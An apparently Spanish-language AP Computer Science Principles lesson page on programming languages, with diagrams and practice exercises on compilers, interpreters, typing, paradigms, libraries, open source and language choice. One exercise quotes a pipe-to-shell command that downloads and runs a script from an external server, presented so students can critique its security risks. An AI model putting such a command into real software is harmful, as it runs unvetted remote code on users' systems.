Volver a la portadaPrincipios de Computación AP® · Principios de Computación AP · Cambiar asignatura
Empezar gratis
Computación AP · Principios de Computación AP®
Sistemas informáticos · Programación textual

Lenguajes de programación

Imagina que Mateo quiere crear una app para su equipo de basketball de la high school. Un programa no es más que un conjunto de instrucciones escritas sin ninguna ambigüedad. Antes de escribir la primera línea de código conviene entender con qué herramienta se está trabajando: qué hace exactamente un lenguaje de programación con lo que escribes, y por qué existen cientos de lenguajes distintos en vez de uno solo.

Del código fuente al programa ejecutable

Diagrama del proceso de traducción desde el código fuente hasta el programa ejecutable en lenguaje máquina a través de un compilador o intérprete. Código fuente lo escribe la persona Compilador o intérprete Programa ejecutable lo ejecuta la máquina lenguaje máquina: solo ceros y unos, que el procesador entiende
Practica★☆☆Sin empezar
Explica con tus palabras qué es un programa y qué es un algoritmo, y pon un ejemplo de «algoritmo» de la vida diaria (una receta, las instrucciones para llegar a tu…

Explica con tus palabras qué es un programa y qué es un algoritmo, y pon un ejemplo de «algoritmo» de la vida diaria (una receta, las instrucciones para llegar a tu casa...) identificando sus pasos.

Resolver
Practica★☆☆Sin empezar
Un lenguaje natural (como el español) admite frases ambiguas, pero un lenguaje de programación no. Explica qué significa esto y por qué es imprescindible que las…

Un lenguaje natural (como el español) admite frases ambiguas, pero un lenguaje de programación no. Explica qué significa esto y por qué es imprescindible que las instrucciones de un programa tengan una única interpretación posible.

Resolver
Practica★☆☆Sin empezar
La figura muestra la cadena que convierte lo que escribe una persona programadora en algo que la computadora puede ejecutar, pero el elemento central está tapado con un…

La figura muestra la cadena que convierte lo que escribe una persona programadora en algo que la computadora puede ejecutar, pero el elemento central está tapado con un signo de interrogación, como se muestra en la figura.

Código fuente lo escribe la persona ? Programa ejecutable lo ejecuta la máquina

Indica qué elemento falta en la cadena, explica qué dos tipos de herramientas pueden ocupar ese lugar (compilador e intérprete) y describe en qué se diferencia cada una.

Resolver
Practica★☆☆Sin empezar
Explica qué es la sintaxis de un lenguaje de programación y por qué un simple paréntesis de menos impide ejecutar el programa, mientras que en un texto en español una…

Explica qué es la sintaxis de un lenguaje de programación y por qué un simple paréntesis de menos impide ejecutar el programa, mientras que en un texto en español una falta de ortografía no impide entenderlo.

Resolver

Compilados e interpretados

Compilado: el compilador revisa todo el código fuente y, si hay un error, se detiene y no genera ejecutable. Interpretado: el intérprete ejecuta línea a línea y el error aparece al llegar a la línea defectuosa, tras mostrar resultados. Compilado ej.: C, C++ código fuente ✕ errores al compilar compilador ✕ ejecutable no se ejecuta ejecución traduce todo antes de ejecutar · ejecución rápida Interpretado ej.: Python código fuente intérprete línea a línea > 42 > 7 ✕ error ✕ errores al ejecutar traduce y ejecuta línea a línea · ejecución más lenta
Practica★★☆Sin empezar
Explica la diferencia entre un lenguaje compilado y uno interpretado: qué ocurre con el código fuente en cada caso, cuándo se detectan los errores y qué necesita el…

Explica la diferencia entre un lenguaje compilado y uno interpretado: qué ocurre con el código fuente en cada caso, cuándo se detectan los errores y qué necesita el usuario final para ejecutar el programa. Pon un ejemplo de lenguaje de cada tipo.

Resolver
Practica★★☆Sin empezar
Con un lenguaje compilado se genera un ejecutable; con uno interpretado hace falta el intérprete instalado. Analiza qué diferencia hay para el usuario final de cada…

Con un lenguaje compilado se genera un ejecutable; con uno interpretado hace falta el intérprete instalado. Analiza qué diferencia hay para el usuario final de cada programa (qué debe instalar, en qué sistemas funcionará) y qué diferencia hay para la persona que desarrolla (ciclo de escribir-probar).

Resolver
Practica★★★Sin empezar
Un lenguaje de alto nivel interpretado suele ser más cómodo de escribir pero más lento en ejecución que uno compilado de bajo nivel. Analiza este compromiso y decide qué…

Un lenguaje de alto nivel interpretado suele ser más cómodo de escribir pero más lento en ejecución que uno compilado de bajo nivel. Analiza este compromiso y decide qué tipo de lenguaje elegirías para: (a) el control de un airbag, (b) un prototipo de app para probar una idea, (c) un videojuego con gráficos exigentes. Justifica cada decisión.

Resolver

Tipado y paradigmas

Tres paradigmas de programación: imperativo (órdenes que cambian el estado), orientado a objetos (objetos con datos y comportamiento) y funcional (funciones que transforman datos). Imperativototal ← 0REPEAT 3 TIMES: total ← total + 2el estado cambia ObjetosPréstamo libro, miembro dias()datos + acciones Funcionaldatos → f → gdoble(suma(x))sin estadocompartido tipado estático: los tipos se comprueban antes de ejecutar tipado dinámico: se comprueban mientras se ejecuta
Practica★★☆Sin empezar
Los lenguajes se agrupan también por paradigmas (imperativo, orientado a objetos, funcional...). Explica brevemente en qué consiste la programación orientada a objetos y…

Los lenguajes se agrupan también por paradigmas (imperativo, orientado a objetos, funcional...). Explica brevemente en qué consiste la programación orientada a objetos y razona por qué resulta útil cuando un programa modela cosas del mundo real (alumnos, cuentas, vehículos...).

Resolver
Practica★★☆Sin empezar
En algunos lenguajes, sumar un número con un texto produce un error antes de ejecutar el programa; en otros, el error aparece solo si se ejecuta esa línea. Explica qué…

En algunos lenguajes, sumar un número con un texto produce un error antes de ejecutar el programa; en otros, el error aparece solo si se ejecuta esa línea. Explica qué es el tipado de un lenguaje (estático o dinámico) y qué ventaja tiene detectar esos errores cuanto antes.

Resolver
Practica★★☆Sin empezar
HTML organiza el contenido de las páginas web, pero no se considera un lenguaje de programación completo. Explica qué diferencia hay entre un lenguaje de marcado y uno…

HTML organiza el contenido de las páginas web, pero no se considera un lenguaje de programación completo. Explica qué diferencia hay entre un lenguaje de marcado y uno de programación (¿se pueden expresar decisiones y repeticiones?) y qué lenguaje suele acompañar a HTML para aportar la lógica.

Resolver

Herramientas, bibliotecas y código abierto

Comparación: el código abierto es visible y cada usuario puede estudiarlo y modificar su copia; la plataforma propietaria es una caja cerrada con candado que depende de un único fabricante. Código abierto código público se puede estudiar y adaptar Software propietario código cerrado depende de un único fabricante
Practica★☆☆Sin empezar
¿Qué es un entorno de desarrollo (IDE)? Nombra dos ayudas que ofrece a quien programa (coloreado de sintaxis, detección de errores al escribir, ejecución integrada) y…

¿Qué es un entorno de desarrollo (IDE)? Nombra dos ayudas que ofrece a quien programa (coloreado de sintaxis, detección de errores al escribir, ejecución integrada) y explica cada una en una frase.

Resolver
Practica★★☆Sin empezar
Las bibliotecas (o librerías) son colecciones de código ya hecho que un programa puede usar. Explica por qué «no reinventar la rueda» es una buena práctica, con un…

Las bibliotecas (o librerías) son colecciones de código ya hecho que un programa puede usar. Explica por qué «no reinventar la rueda» es una buena práctica, con un ejemplo (librería de gráficos, de conexión a bases de datos), y un cuidado que hay que tener al usar bibliotecas de terceros.

Resolver
Practica★★★Sin empezar
Una empresa emergente (startup) diseña una aplicación para gestionar estaciones meteorológicas. El equipo duda entre dos opciones técnicas para su backend: Opción A,…

Una empresa emergente (startup) diseña una aplicación para gestionar estaciones meteorológicas. El equipo duda entre dos opciones técnicas para su backend: Opción A, utilizar una plataforma y lenguaje propietarios cuya licencia cuesta 450 dólares al año por desarrollador, con soporte técnico cerrado; u Opción B, utilizar un lenguaje y herramientas de código abierto con licencia libre y comunidad activa. Analiza la situación: a) Si el proveedor de la Opción A triplica el precio de la licencia o es absorbido por un competidor que discontinúa el producto, predice qué opciones técnicas le quedarían a la empresa y qué impacto sufriría. b) Justifica dos ventajas técnicas y de seguridad que aporta la Opción B frente a la Opción A ante la detección de un fallo crítico en una librería. c) ¿En qué caso concreto podría estar justificado asumir la dependencia de la plataforma propietaria?

Resolver
Practica★★★Sin empezar
Para una práctica de control domótico, un estudiante necesita enviar alertas por correo ante una fuga de gas. En lugar de programarlo, copia de un foro de internet esta…

Para una práctica de control domótico, un estudiante necesita enviar alertas por correo ante una fuga de gas. En lugar de programarlo, copia de un foro de internet esta línea sin revisar su contenido: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). El alumno afirma: «El código funciona y la alerta llega, por lo que la solución es completamente válida y segura». a) Rebate la afirmación del alumno analizando los riesgos graves de seguridad e inyección de código que introduce esa línea en el sistema y en la red local. b) Si el servidor externo deja de prestar servicio semanas más tarde, predice qué dificultades tendrá el alumno para mantener el sistema si no comprendió la lógica original. c) Diseña un protocolo de cuatro pasos que un programador responsable debe seguir antes de integrar código o librerías de terceros en un proyecto técnico.

Resolver

Elegir el lenguaje adecuado

Tres proyectos y su prioridad: un gráfico de barras con libros de bibliotecas para analizar datos, un cubo 3D con un indicador de velocidad para un videojuego y una ventana de navegador con código para una web interactiva. Datos Videojuego 3D Web interactiva bibliotecas de análisis prioridad: ecosistema lenguaje compilado prioridad: rendimiento ‹/› corre en el navegador prioridad: plataforma
Practica★☆☆Sin empezar
Compara programar con bloques (como Scratch) y programar con texto: da una ventaja de cada enfoque para aprender y un motivo por el que los proyectos grandes se acaban…

Compara programar con bloques (como Scratch) y programar con texto: da una ventaja de cada enfoque para aprender y un motivo por el que los proyectos grandes se acaban escribiendo en texto.

Resolver
Practica★☆☆Sin empezar
Explica qué es el código fuente de un programa, quién lo escribe y qué tiene que ocurrir con él antes de que la computadora pueda ejecutarlo (traducirlo a lenguaje…

Explica qué es el código fuente de un programa, quién lo escribe y qué tiene que ocurrir con él antes de que la computadora pueda ejecutarlo (traducirlo a lenguaje máquina).

Resolver
Practica★☆☆Sin empezar
Nombra tres lenguajes de programación diferentes y una aplicación o ámbito típico de cada uno (páginas web, análisis de datos, videojuegos, sistemas, apps...).

Nombra tres lenguajes de programación diferentes y una aplicación o ámbito típico de cada uno (páginas web, análisis de datos, videojuegos, sistemas, apps...).

Resolver
Practica★★☆Sin empezar
Tu clase debe elegir un lenguaje para desarrollar una pequeña aplicación de gestión del club de lectura. Nombra y explica tres características del lenguaje que…

Tu clase debe elegir un lenguaje para desarrollar una pequeña aplicación de gestión del club de lectura. Nombra y explica tres características del lenguaje que valorarías antes de decidir (facilidad de aprendizaje, bibliotecas disponibles, comunidad, rendimiento, plataforma de destino...) y justifica cuál priorizarías en este caso concreto.

Resolver
Practica★★☆Sin empezar
Elige y justifica un lenguaje para cada proyecto: (a) analizar las calificaciones de toda la escuela secundaria (high school) y generar gráficos, (b) un videojuego 3D…

Elige y justifica un lenguaje para cada proyecto: (a) analizar las calificaciones de toda la escuela secundaria (high school) y generar gráficos, (b) un videojuego 3D con grandes exigencias de rendimiento y (c) una página web interactiva que se ejecuta en el navegador. Indica qué criterio pesó más en cada elección.

Resolver
Practica★★★Sin empezar
Se implementa el algoritmo de búsqueda binaria para encontrar un valor en una lista ordenada de 1 000 000 de enteros en dos lenguajes distintos: en Python tarda 12.4 ms…

Se implementa el algoritmo de búsqueda binaria para encontrar un valor en una lista ordenada de 1 000 000 de enteros en dos lenguajes distintos: en Python tarda 12.4 ms y en C tarda 0.8 ms. Un compañero afirma: «Como en C tarda menos tiempo, la lógica del algoritmo ha cambiado y ahora realiza menos comparaciones que en Python». Rebate razonadamente esta afirmación: a) Explica qué elementos del programa permanecen exactamente iguales en ambas versiones y cuáles cambian. b) Justifica a qué se debe la diferencia de tiempo si el número de comparaciones lógicas es idéntico. c) A partir de este caso, argumenta por qué se dice que aprender a programar consiste en aprender a pensar y no en dominar un lenguaje concreto.

Resolver
Practica★★★Sin empezar
Una empresa de robótica submarina desarrolla un vehículo autónomo de exploración. El sistema consta de dos módulos: 1) Control de propulsores y estabilización…

Una empresa de robótica submarina desarrolla un vehículo autónomo de exploración. El sistema consta de dos módulos: 1) Control de propulsores y estabilización giroscópica, que debe muestrear sensores y corregir la trayectoria cada 2.5 ms con latencia crítica estricta. 2) Interfaz de usuario y análisis estadístico en la base marina, donde los científicos procesan imágenes y prueban filtros visuales de forma interactiva. El responsable técnico propone programar ambos módulos exclusivamente en Python para unificar el proyecto. a) Evalúa críticamente esta propuesta prediciendo qué cuellos de botella surgirán en el módulo de estabilización. b) Explica por qué programar la estación base en C o C++ tampoco sería una decisión eficiente en términos de productividad. c) Diseña una solución justificando qué tipo de lenguaje asignarías a cada módulo para resolver el conflicto entre velocidad de ejecución y facilidad de desarrollo.

Resolver
Practica★★★Sin empezar
Una escuela renueva el equipamiento de su aula de Tecnología y valora dos opciones para programar los microcontroladores de sus proyectos: el Entorno A, un software…

Una escuela renueva el equipamiento de su aula de Tecnología y valora dos opciones para programar los microcontroladores de sus proyectos: el Entorno A, un software comercial propietario con licencia gratuita durante dos años, pero de código cerrado y compatible solo con los sensores de su marca; y el Entorno B, una cadena de herramientas de código abierto (compilador libre y librerías abiertas) compatible con múltiples placas del mercado. a) Predice qué consecuencias económicas y técnicas afrontará la escuela al tercer año si el proveedor del Entorno A cambia su política de precios o retira el soporte a los modelos más antiguos. b) Justifica qué posibilidades de aprendizaje y adaptación ofrece el Entorno B para que los estudiantes estudien cómo funciona el código por dentro o conecten sensores descatalogados. c) Desde el punto de vista del gasto público y la soberanía tecnológica, defiende cuál de las dos opciones debe elegirse.

Resolver

Vuelve al principio: Un lenguaje traduce tus instrucciones al código binario que ejecuta el procesador, y existen cientos de ellos porque ningún lenguaje puede ofrecer a la vez máxima velocidad, facilidad para aprender y compatibilidad con cualquier dispositivo. Así que Mateo elegiría según su proyecto: una app para el equipo, probablemente en un lenguaje fácil con buenas bibliotecas.

Resumen

Ver todos los ejercicios de este apartado